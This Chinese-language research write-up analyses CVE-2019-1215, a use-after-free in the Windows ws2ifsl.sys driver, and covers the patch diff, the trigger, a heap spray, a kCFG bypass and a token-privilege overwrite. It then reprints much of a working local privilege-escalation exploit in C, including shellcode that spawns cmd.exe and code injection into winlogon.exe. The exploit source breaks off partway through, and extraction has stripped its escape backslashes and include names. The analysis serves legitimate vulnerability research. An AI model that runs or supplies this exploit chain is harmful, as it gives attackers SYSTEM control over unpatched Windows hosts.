![CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究 CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究]()
0x01 漏洞介绍
本文分析ws2ifsl.sys中UAF漏洞的最新补丁(CVE-2019-1215),该漏洞可用于本地特权升级。该漏洞存在于Windows 7,Windows 8,Windows 10,Windows 2008,Windows 2012和Windows 2019中。它已于2019年9月10日进行了修补。有关此问题的更多信息,请参见 此处。
这篇文章描述了Windows 10 19H1(1903)x64上的漏洞根本原因分析和利用。该漏洞利用程序演示了如何在此系统上绕过kASLR,kCFG和SMEP。
![CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究 CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究]()
0x02 ws2ifsl基础
为了更好地理解此分析,我们必须介绍一些有关易受攻击的驱动程序的背景信息。没有有关此驱动程序的公共文档,并且以下大多数信息都是反向工程。ws2ifsl组件是与winsocket相关的驱动程序。
驱动程序实现两个对象:
· 过程对象
· 一个套接字对象
驱动程序实现了几个调度例程,用户可以调用这些例程。在 NtCreateFile 文件名设置为的情况下调用时 \Device\WS2IFSL\,将DispatchCreate 到达该函数 。该函数根据中的字符串进行分支 _FILE_FULL_EA_INFORMATION.EaName。如果是 NifsPvd,它将调用 CreateProcessFile,如果是 NifsSct ,它将调用 CreateSocketFile。
该函数 CreateSocketFile 和 CreateProcessFile 两者均创建内部对象,我们将其称为“ procData”和“ socketData”。创建后,这些对象保存在 _FILE_OBJECT.FsContext 文件对象的中,该文件对象是在分派例程中创建的。
文件对象是可以在用户模式下使用从返回的句柄访问的对象NtCreateFile。该句柄可用于执行DeviceIoControl或的调用WriteFile。这意味着'procData'和'sockedData'对象不会直接通过ObfReferenceObject 和 引用计数 ObfDereferenceObject,而是基础文件对象。
该驱动程序实现两个异步过程调用(APC)对象,称为“请求队列”和“取消队列”。APC是一种在另一个线程中异步执行功能的机制。由于可以在另一个线程中强制执行多个APC,因此内核实现了一个队列,该队列存储了所有要执行的APC。
“ procData”对象包含这两个APC对象,这些对象由CreateProcessFile in InitializeRequestQueue 和 初始化 InitializeCancelQueue。APC对象由初始化 KeInitializeApc,并接收目标线程和函数作为参数。此外,还设置了处理器模式(内核或用户模式)以及运行例程。如果是ws2ifsl,则运行例程为 RequestRundownRoutine 和 CancelRundownRoutine ,并且处理器模式设置为usermode。这些精简例程用于清理,如果线程在APC有机会在线程内部执行之前死亡,则内核将调用这些例程。之所以会发生这种情况,是因为如果APC设置为可警告状态,则仅计划在线程内执行该APC。如果例如SleepEx在第二个参数设置为TRUE的情况下调用线程,则可以将其设置为可警告状态。
驱动程序还在中实现了一个读写分派例程DispatchReadWrite,该例程 只能由套接字对象访问,并调用 DoSocketReadWrite。除其他事项外,该函数负责通过调用SignalRequest 使用 nt!KeInsertQueueApc API函数的函数将APC元素添加到APC队列中 。
![CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究 CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究]()
0x03 硬件通信
在许多情况下,驱动程序会创建符号链接,并且其名称可用作的文件名 CreateFileA,但是ws2ifsl并非如此,nt!IoCreateDevice仅在DeviceName设置为' Device WS2IFSL'的情况下进行调用 。但是,通过调用本机API NtOpenFile ,可以到达create dispatch函数 ws2ifsl!DispatchCreate的目的。
以下代码可用于完成此操作:
`HANDLE` `fileHandle = 0;``UNICODE_STRING deviceName;``RtlInitUnicodeString(&deviceName, (``PWSTR``)L``"\Device\WS2IFSL"``);``OBJECT_ATTRIBUTES object;``InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);``IO_STATUS_BLOCK IoStatusBlock ;``NtOpenFile(&fileHandle, GENERIC_READ, &object, &IoStatusBlock, 0, 0);`
该函数 DispatchCreate 将检查打开调用的扩展属性,此属性只能通过NtCreateFile系统调用设置。
对于流程对象,扩展属性(ea)数据缓冲区必须包含属于当前流程的线程句柄,然后,具有设备的句柄,我们可以使用该句柄进行进一步的操作。
![CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究 CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究]()
0x04 补丁分析
现在我们已经学习了背景知识,我们可以切换到补丁分析了。补丁程序分析通过比较ws2ifsl 10.0.18362.1的未修补版本与已修补的10.0.18362.356版本开始。
我们可以很快看到仅修补了几个函数:
· CreateProcessFile
· DispatchClose
· SignalCancel
· SignalRequest
· RequestRundownRoutine
· CancelRundownRoutine
在以下截图中可以看到:
补丁版本还包含一个新函数:
· DereferenceProcessContext
最明显的变化是所有更改的函数都包含对新函数 DereferenceProcessContext的新调用,在以下截图中可以看到此函数:
接下来要注意的是,“ procData”对象已由新成员扩展,现在使用引用计数。例如,在 CreateProcessFile负责所有初始化的中,此新成员设置为1。
procData->tag = 'corP';
*(_QWORD *)&procData->processId = PsGetCurrentProcessId();
procData->field_100 = 0;
procData->tag = 'corP';
*(_QWORD *)&procData->processId = PsGetCurrentProcessId();
procData->dword100 = 0;
procData->referenceCounter = 1i64; // new
该函数 DereferenceProcessContext 还将检查引用计数,并对 nt!ExFreePoolWithTag 进行调用或仅返回。
该函数 DispatchClose是驱动程序的关闭调度例程,也已得到修补。新版本将call nt!ExFreePoolWithTag 更改为 DereferenceProcessContext。这意味着有时(如果参考计数器不为零)不会释放“ procData”,而只会将其参考计数减一。
该修复程序会在 SignalRequest 调用之前使 nt!KeInsertQueueApc的referenceCounter递增。
问题在于DispatchClose ,即使一个请求已经在APC中排队,该函数仍可用于释放“ procData”对象。DispatchClose 每当关闭对文件句柄的最后一个引用时,都会调用该函数 (通过调用CloseHandle)。该修补程序修复了UAF漏洞,因为关机例程等可以访问已释放的数据。
该修补程序通过使用新的referenceCounter来确保仅在删除缓冲区的最后一个引用之后才释放缓冲区,如果是精简例程(包含引用),则在函数末尾删除 DereferenceProcessContext引用
并且在调用之前增加引用计数 nt!KeInsertQueueApc,如果发生错误(可能 nt!KeInsertQueueApc 会失败),该引用也将被删除(避免内存泄漏)。
![CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究 CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究]()
0x05 漏洞触发
要触发该漏洞,所需要做的就是创建一个“ procData”句柄,一个“ socketData”句柄,将一些数据写入“ socketData”并关闭两个句柄,线程终止调用APC调试例程,该例程将对释放的数据起作用。
以下代码将触发该漏洞:
in CreateProcessHandle:
g_hThread1 = CreateThread(0, 0, ThreadMain1, 0, 0, 0);
eaData->a1 = (void*)g_hThread1; // thread must be in current process
eaData->a2 = (void*)0x2222222; // fake APC Routine
eaData->a3 = (void*)0x3333333; // fake cancel Rundown Routine
eaData->a4 = (void*)0x4444444;
eaData->a5 = (void*)0x5555555;
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
DWORD supSuc = SuspendThread(g_hThread1);
in main:
HANDLE procHandle = CreateProcessHandle();
HANDLE sockHandle = CreateSocketHandle(procHandle);
char* writeBuffer = (char*) malloc(0x100);
IO_STATUS_BLOCK io;
LARGE_INTEGER byteOffset;
byteOffset.HighPart = 0;
byteOffset.LowPart = 0;
byteOffset.QuadPart = 0;
byteOffset.u.LowPart = 0;
byteOffset.u.HighPart = 0;
ULONG key = 0;
CloseHandle(procHandle);
NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, writeBuffer, 0x100, &byteOffset, &key);
当在free 在DispatchClose 和RequestRundownRoutine处有断点时,我们可以验证此行为 :
Breakpoint 2 hit
ws2ifsl!DispatchClose+0x7d:
fffff806`1b8e71cd e8ceeef3fb call nt!ExFreePool (fffff806`178260a0)
1: kd> db rcx
ffffae0d`ceafbc70 50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00 Proc............
1: kd> g
Breakpoint 0 hit
ws2ifsl!RequestRundownRoutine:
fffff806`1b8e12d0 48895c2408 mov qword ptr [rsp+8],rbx
0: kd> db rcx-30
ffffae0d`ceafbc70 50 72 6f 63 00 00 00 00-8c 07 00 00 00 00 00 00 Proc............
因为'procData'对象已被释放,所以例程将对释放的数据起作用,在大多数情况下,不会崩溃,因为未重新分配数据块。
![CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究 CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究]()
0x06 堆喷分析
在我们知道如何触发错误之后,我们可以切换到漏洞利用了,第一步是回收释放的分配。
首先,需要知道缓冲区的大小和分配池。
在要释放的缓冲区上使用pool命令,我们可以看到它分配在Nonpaged池上,大小为0x120字节。
1: kd> !pool ffff8b08905e9910
Pool page ffff8b08905e9910 region is Nonpaged pool
*ffff8b08905e9900 size: 120 previous size: 0 (Allocated) *Ws2P Process: ffff8b08a32e3080
Owning component : Unknown (update pooltag.txt)
可以通过查看ws2ifsl!CreateProcessFile中的缓冲区分配来验证它:
PAGE:00000001C00079ED mov edx, 108h ; size
PAGE:00000001C00079F2 mov ecx, 200h ; PoolType
PAGE:00000001C00079F7 mov r8d, 'P2sW' ; Tag
PAGE:00000001C00079FD call cs:__imp_ExAllocatePoolWithQuotaTag
在Nonpaged池上执行任意大小的受控分配的可靠方法是使用命名管道。
以下代码可用于为多个0x120字节的缓冲区分配用户控制的数据:
int doHeapSpray()
{
for (size_t i = 0; i < 0x5000; i++)
{
HANDLE readPipe;
HANDLE writePipe;
DWORD resultLength;
UCHAR payload[0x120 - 0x48];
RtlFillMemory(payload, 0x120 - 0x48, 0x24);
BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));
res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
}
return 0;
}
如果我们将此堆喷射合并到触发该漏洞的代码中,则会在 nt!KiInsertQueueApc内部获得一个错误检查,崩溃是由于对操作的安全检查而发生的。
.text:00000001400A58F6 mov rax, [rdx]
.text:00000001400A58F9 cmp [rax+_LIST_ENTRY.Blink], rdx
.text:00000001400A58FD jnz fail_fast
.text:00000001401DC2EA fail_fast: ; CODE XREF: KiInsertQueueApc+53↑j
.text:00000001401DC2EA ; KiInsertQueueApc+95↑j ...
.text:00000001401DC2EA mov ecx, 3
.text:00000001401DC2EF int 29h ; Win8: RtlFailFast(ecx)
错误检查恰好在int 29指令处进行,在崩溃时检查寄存器时,我们可以看到RAX寄存器指向我们受控的用户数据。
rax=ffff8b08905e82d0 rbx=0000000000000000 rcx=0000000000000003
rdx=ffff8b08a39c3128 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8057489a2ef rsp=ffffde8268bfd4c8 rbp=ffffde8268bfd599
r8=ffff8b08a39c3118 r9=fffff80574d87490 r10=fffff80574d87490
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
0: kd> dq ffff8b08905e82d0
ffff8b08`905e82d0 24242424`24242424 24242424`24242424
ffff8b08`905e82e0 24242424`24242424 24242424`24242424
ffff8b08`905e82f0 24242424`24242424 24242424`24242424
ffff8b08`905e8300 24242424`24242424 24242424`24242424
ffff8b08`905e8310 24242424`24242424 24242424`24242424
ffff8b08`905e8320 24242424`24242424 24242424`24242424
ffff8b08`905e8330 24242424`24242424 24242424`24242424
ffff8b08`905e8340 24242424`24242424 24242424`24242424
导致崩溃的调用堆栈如下:
0: kd> k
# Child-SP RetAddr Call Site
00 ffffb780`3ac7e868 fffff804`334a90c2 nt!DbgBreakPointWithStatus
01 ffffb780`3ac7e870 fffff804`334a87b2 nt!KiBugCheckDebugBreak+0x12
02 ffffb780`3ac7e8d0 fffff804`333c0dc7 nt!KeBugCheck2+0x952
03 ffffb780`3ac7efd0 fffff804`333d2ae9 nt!KeBugCheckEx+0x107
04 ffffb780`3ac7f010 fffff804`333d2f10 nt!KiBugCheckDispatch+0x69
05 ffffb780`3ac7f150 fffff804`333d12a5 nt!KiFastFailDispatch+0xd0
06 ffffb780`3ac7f330 fffff804`333dd2ef nt!KiRaiseSecurityCheckFailure+0x325
07 ffffb780`3ac7f4c8 fffff804`332cb84f nt!KiInsertQueueApc+0x136a87
08 ffffb780`3ac7f4d0 fffff804`3323ec58 nt!KiSchedulerApc+0x22f
09 ffffb780`3ac7f600 fffff804`333c5002 nt!KiDeliverApc+0x2e8
0a ffffb780`3ac7f6c0 fffff804`33804258 nt!KiApcInterrupt+0x2f2
0b ffffb780`3ac7f850 fffff804`333c867a nt!PspUserThreadStartup+0x48
0c ffffb780`3ac7f940 fffff804`333c85e0 nt!KiStartUserThread+0x2a
0d ffffb780`3ac7fa80 00007ff8`ed3ace50 nt!KiStartUserThreadReturn
0e 0000009e`93bffda8 00000000`00000000 ntdll!RtlUserThreadStart
由于主线程结束,因此触发了错误检查。发生这种情况的原因是因为损坏的APC仍在队列中,并且取消链接操作对损坏的数据起作用,因为前向和后向指针已损坏并且没有指向有效的链接列表,所以安全取消链接会检测到此损坏和错误检查。
![CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究 CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究]()
0x07 KeRundownApcQueues
需要更改使用释放的APC元素的代码,以将其转变为有价值的东西。
触发漏洞并覆盖旧的“ procData”后,需要退出APC排队的线程。如果完成,内核将调用函数nt!KeRundownApcQueues,该函数会在 nt!KiFlushQueueApc内部进行bug检查,因为它会访问损坏的数据。
但是,这一次我们可以控制缓冲区的内容,并且可以避免安全异常,因为链接列表的有效指针是使用指向“ kthread”内部的值进行检查的。我们可以使用对带有SystemHandleInformation的NtQuerySystemInformation的调用来泄漏“ kthread”的地址,如果使用“ kthread”地址制作回收的“ procData”,则可以避免错误检查, 在nt!KeRundownApcQueues 函数的“ procData”对象内执行用户控制的函数指针。
![CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究 CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究]()
0x08 绕过kCFG
在控制了要执行的函数指针之后,我们克服了一些障碍。对于这种利用,KASLR并不是问题,因为可能泄漏ntoskrnl基址,可以通过NtQuerySystemInformation / SystemModuleInformation泄漏所有已加载模块的基地址。
但是,APC函数指针调用由Microsoft的称为内核控制流防护的CFI实现保护,如果我们尝试调用任何随机的面向返回编程(ROP)的gadget,则内核将通过错误检查来解决此问题。
幸运的是,从CFG的角度来看,函数序言都是有效的分支目标,因此我们知道可以不停地调用什么,当调用函数指针 nt!KeRundownApcQueues时,第一个参数(rcx)指向'procData'缓冲区,第二个参数(rdx)为零。
我们可以使用的另一种可能性是通过调用本机函数来调用APC函数指针NtTestAlert,使用NtTestAlert调用APC函数指针时,第一个参数(rcx)指向'procData'缓冲区,第二个参数(rdx)也指向它。
寻找函数,根据给定的约束条件,我们发现了一个函数对象 nt!SeSetAccessStateGenericMapping。
如下所示, nt!SeSetAccessStateGenericMapping 可用于执行16字节的任意写入。
不幸的是,这16个字节的后半部分没有得到完全控制,但是前8个字节是基于堆喷射所提供的数据。
![CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究 CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究]()
0x09 令牌覆盖
一旦有了任意写原语,就可以做很多事情。在旧的Windows版本上,有很多技术可以将任意写入转换为完整的内核读取写入原语。在Windows 10的最新版本中,这些技术已得到缓解。一种仍在起作用的技术是令牌覆盖技术,它最初于2012年在Cesar Cerrudo的“ Easy local Windows Kernel Exploitation ”中发布,过去我们已经使用过这种技术。
思路是破坏位于 _SEP_TOKEN_PRIVILEGES 对象内部的 _TOKEN 对象。最简单的方法是在 启用所有位的情况下覆盖此结构的 Present 和 Enabled成员。这将使我们获得 SeDebugPrivilege 特权,这将使我们能够将代码注入诸如“ winlogon.exe”之类的高特权进程中。
我们需要触发两次漏洞才能可靠地用16个字节覆盖令牌结构。
![CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究 CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究]()
0x10 获取系统特权
一旦我们被注入到系统过程中,利用就成功了,现在,我们可以运行“ cmd.exe”,以提供交互式shell,我们还避免了kCFG和SMEP的其他问题,因为我们不会在漏洞的上下文中执行ROP或执行任何ring 0代码。
![CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究 CVE-2019-1215:Windows 驱动 ws2ifsl.sys UAF 漏洞分析和利用研究]()
0x11 漏洞利用
最终利用目标是Windows 10 19H1 x64,可以在这里找到 https://github.com/bluefrostsecurity/CVE-2019-1215,漏洞利用成功会弹出一个具有系统特权的新cmd.exe。
ExP完整代码:
/*
The exploit works on 19H1.
It was tested with ntoskrnl version 10.0.18362.295
*/
#include #include #include #include #include #include #include
#pragma comment(lib, "ntdll.lib")
// run cmd.exe
unsigned char shellcode[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51"
"x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52"
"x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0"
"xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xed"
"x52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88"
"x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44"
"x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48"
"x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1"
"x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44"
"x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49"
"x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5a"
"x41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41"
"x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00"
"x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b"
"x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxff"
"xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47"
"x13x72x6fx6ax00x59x41x89xdaxffxd5x63x6dx64x2ex65"
"x78x65x00";
static const unsigned int shellcode_len = 0x1000;
#define MAXIMUM_FILENAME_LENGTH 255
#define SystemModuleInformation 0xb
#define SystemHandleInformation 0x10
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
void* Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
typedef struct SYSTEM_MODULE {
ULONG Reserved1;
ULONG Reserved2;
#ifdef _WIN64
ULONG Reserved3;
#endif
PVOID ImageBaseAddress;
ULONG ImageSize;
ULONG Flags;
WORD Id;
WORD Rank;
WORD w018;
WORD NameOffset;
CHAR Name[MAXIMUM_FILENAME_LENGTH];
}SYSTEM_MODULE, * PSYSTEM_MODULE;
typedef struct SYSTEM_MODULE_INFORMATION {
ULONG ModulesCount;
SYSTEM_MODULE Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
// exploit specific type information
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset; // +0x0
UCHAR Flags; // +4
UCHAR EaNameLength; // +5
USHORT EaValueLength; // +6
CHAR EaName[1]; // +9
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;
typedef struct _PROC_DATA {
HANDLE apcthread; // +0x0
void* unknown1; // +0x8
void* unknown2; // +0x10
void* unknown3; // +0x18
void* unknown4; // +0x20
} PROC_DATA, * PPROC_DATA;
typedef struct _SOCK_DATA {
HANDLE unknown; // +0x0
HANDLE procDataHandle; // +0x8
} SOCK_DATA, * PSOCK_DATA;
// undocumented apis definitions
typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID Buffer,
ULONG Length,
PLARGE_INTEGER ByteOffset,
PULONG key);
typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);
typedef NTSTATUS(WINAPI* RtlGetVersion_t)(PRTL_OSVERSIONINFOW lpVersionInformation);
// resolved function pointers at runtime
NtTestAlert_t g_NtTestAlert = 0;
NtWriteFile_t g_NtWriteFile = 0;
RtlGetVersion_t g_RtlGetVersion = 0;
HANDLE g_Event1 = NULL;
HANDLE g_Event2 = NULL;
HANDLE g_Event3 = NULL;
int g_done1 = 0;
int g_done2 = 0;
#define TOKEN_OFFSET 0x40 //_SEP_TOKEN_PRIVILEGES offset
#define OFFSET_LINKEDLIST 0xA8 //kthread apc offset
// generic helper function
void InjectToWinlogon()
{
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
int pid = -1;
if (Process32First(snapshot, &entry))
{
while (Process32Next(snapshot, &entry))
{
if (_strcmpi(entry.szExeFile, "winlogon.exe") == 0)
{
pid = entry.th32ProcessID;
break;
}
}
}
CloseHandle(snapshot);
if (pid < 0)
{
printf("Could not find processn");
return;
}
HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!h)
{
printf("Could not open process: %x", GetLastError());
return;
}
void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!buffer)
{
printf("[-] VirtualAllocEx failedn");
}
if (!buffer)
{
printf("[-] remote allocation failed");
return;
}
if (!WriteProcessMemory(h, buffer, shellcode, sizeof(shellcode), 0))
{
printf("[-] WriteProcessMemory failed");
return;
}
HANDLE hthread = CreateRemoteThread(h, 0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
if (hthread == INVALID_HANDLE_VALUE)
{
printf("[-] CreateRemoteThread failed");
return;
}
}
HMODULE GetNOSModule()
{
HMODULE hKern = 0;
hKern = LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
return hKern;
}
DWORD64 GetModuleAddr(const char* modName)
{
PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);
DWORD outBuffer = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(buffer);
buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
}
if (!buffer)
{
printf("[-] NtQuerySystemInformation errorn");
return 0;
}
for (unsigned int i = 0; i < buffer->ModulesCount; i++)
{
PVOID kernelImageBase = buffer->Modules[i].ImageBaseAddress;
PCHAR kernelImage = (PCHAR)buffer->Modules[i].Name;
if (_stricmp(kernelImage, modName) == 0)
{
free(buffer);
return (DWORD64)kernelImageBase;
}
}
free(buffer);
return 0;
}
DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(0x20);
DWORD outBuffer = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);
if (status == STATUS_INFO_LENGTH_MISMATCH)
{
free(buffer);
buffer = (PSYSTEM_HANDLE_INFORMATION) malloc(outBuffer);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
}
if (!buffer)
{
printf("[-] NtQuerySystemInformation error n");
return 0;
}
for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
DWORD objTypeNumber = buffer->Handels[i].ObjectTypeNumber;
if (buffer->Handels[i].ProcessId == GetCurrentProcessId() && buffer->Handels[i].ObjectTypeNumber == type)
{
if (handle == (HANDLE)buffer->Handels[i].Handle)
{
//printf("%p %d %xn", buffer->Handels[i].Object, buffer->Handels[i].ObjectTypeNumber, buffer->Handels[i].Handle);
DWORD64 object = (DWORD64)buffer->Handels[i].Object;
free(buffer);
return object;
}
}
}
printf("[-] handle not foundn");
free(buffer);
return 0;
}
DWORD64 GetGadgetAddr(const char* name)
{
DWORD64 base = GetModuleAddr("\SystemRoot\system32\ntoskrnl.exe");
HMODULE mod = GetNOSModule();
if (!mod)
{
printf("[-] leaking ntoskrnl versionn");
return 0;
}
DWORD64 offset = (DWORD64)GetProcAddress(mod, name);
DWORD64 returnValue = base + offset - (DWORD64)mod;
FreeLibrary(mod);
return returnValue;
}
/*
After the bug is triggerd the first thime, this threads gets notified and it will trigger its function pointer,
which will call our gadget function and write the first 8 bytes.
*/
DWORD WINAPI APCThread1(LPVOID lparam)
{
SetEvent(g_Event1);
while (1)
{
if (g_done1)
{
printf("[+] triggering first APC executionn");
g_NtTestAlert();
while (1)
{
Sleep(0x1000);
}
}
else
{
Sleep(1);
}
}
return 0;
}
/*
After the bug is triggerd the second thime, this threads gets notified and it will trigger its function pointer again and write the second 8 bytes.
After that the shellcode is injected into the system process.
*/
DWORD WINAPI APCThread2(LPVOID lparam)
{
SetEvent(g_Event2);
while (1)
{
if (g_done2)
{
printf("[+] triggering second APC executionn");
g_NtTestAlert();
InjectToWinlogon();
SetEvent(g_Event3);
while (1)
{
Sleep(0x1000);
}
}
else
{
Sleep(1);
}
}
return 0;
}
HANDLE CreateSocketHandle(HANDLE procHandle)
{
HANDLE fileHandle = 0;
UNICODE_STRING deviceName;
OBJECT_ATTRIBUTES object;
IO_STATUS_BLOCK IoStatusBlock;
RtlInitUnicodeString(&deviceName, (PWSTR)L"\Device\WS2IFSL\NifsSct");
InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);
FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SOCK_DATA));
if (!eaBuffer)
{
printf("[-] malloc errorn");
return fileHandle;
}
eaBuffer->NextEntryOffset = 0;
eaBuffer->Flags = 0;
eaBuffer->EaNameLength = sizeof("NifsSct") - 1;
eaBuffer->EaValueLength = sizeof(SOCK_DATA);
RtlCopyMemory(eaBuffer->EaName, "NifsSct", (SIZE_T)eaBuffer->EaNameLength + 1);
SOCK_DATA * eaData = (SOCK_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);
eaData->unknown = (void*) 0x242424224;
eaData->procDataHandle = (void*) procHandle;
NTSTATUS status = NtCreateFile(&fileHandle, GENERIC_WRITE, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(PROC_DATA));
if (status != STATUS_SUCCESS)
{
printf("[-] NtCreateFile error: %x n", status);
free(eaBuffer);
return fileHandle;
}
free(eaBuffer);
return fileHandle;
}
HANDLE CreateProcessHandle(HANDLE hAPCThread)
{
HANDLE fileHandle = 0;
UNICODE_STRING deviceName;
OBJECT_ATTRIBUTES object;
IO_STATUS_BLOCK IoStatusBlock;
RtlInitUnicodeString(&deviceName, (PWSTR)L"\Device\WS2IFSL\NifsPvd");
InitializeObjectAttributes(&object, &deviceName, 0, NULL, NULL);
FILE_FULL_EA_INFORMATION* eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
if (!eaBuffer)
{
printf("[-] malloc errorn");
return fileHandle;
}
eaBuffer->NextEntryOffset = 0;
eaBuffer->Flags = 0;
eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;
eaBuffer->EaValueLength = sizeof(PROC_DATA);
RtlCopyMemory(eaBuffer->EaName, "NifsPvd", (SIZE_T)eaBuffer->EaNameLength + 1);
PROC_DATA * eaData = (PROC_DATA*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);
if (!hAPCThread)
{
printf("[-] error thread not foundn");
free(eaBuffer);
return 0;
}
eaData->apcthread = (void*) hAPCThread; // thread must be in current process
eaData->unknown1 = (void*) 0x2222222; // APC Routine
eaData->unknown2 = (void*) 0x3333333; // cancel Rundown Routine
eaData->unknown3 = (void*) 0x4444444;
eaData->unknown4 = (void*) 0x5555555;
NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &object, &IoStatusBlock, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(PROC_DATA));
if (status != STATUS_SUCCESS)
{
printf("[-] NtCreateFile error: %x n", status);
free(eaBuffer);
return fileHandle;
}
free(eaBuffer);
return fileHandle;
}
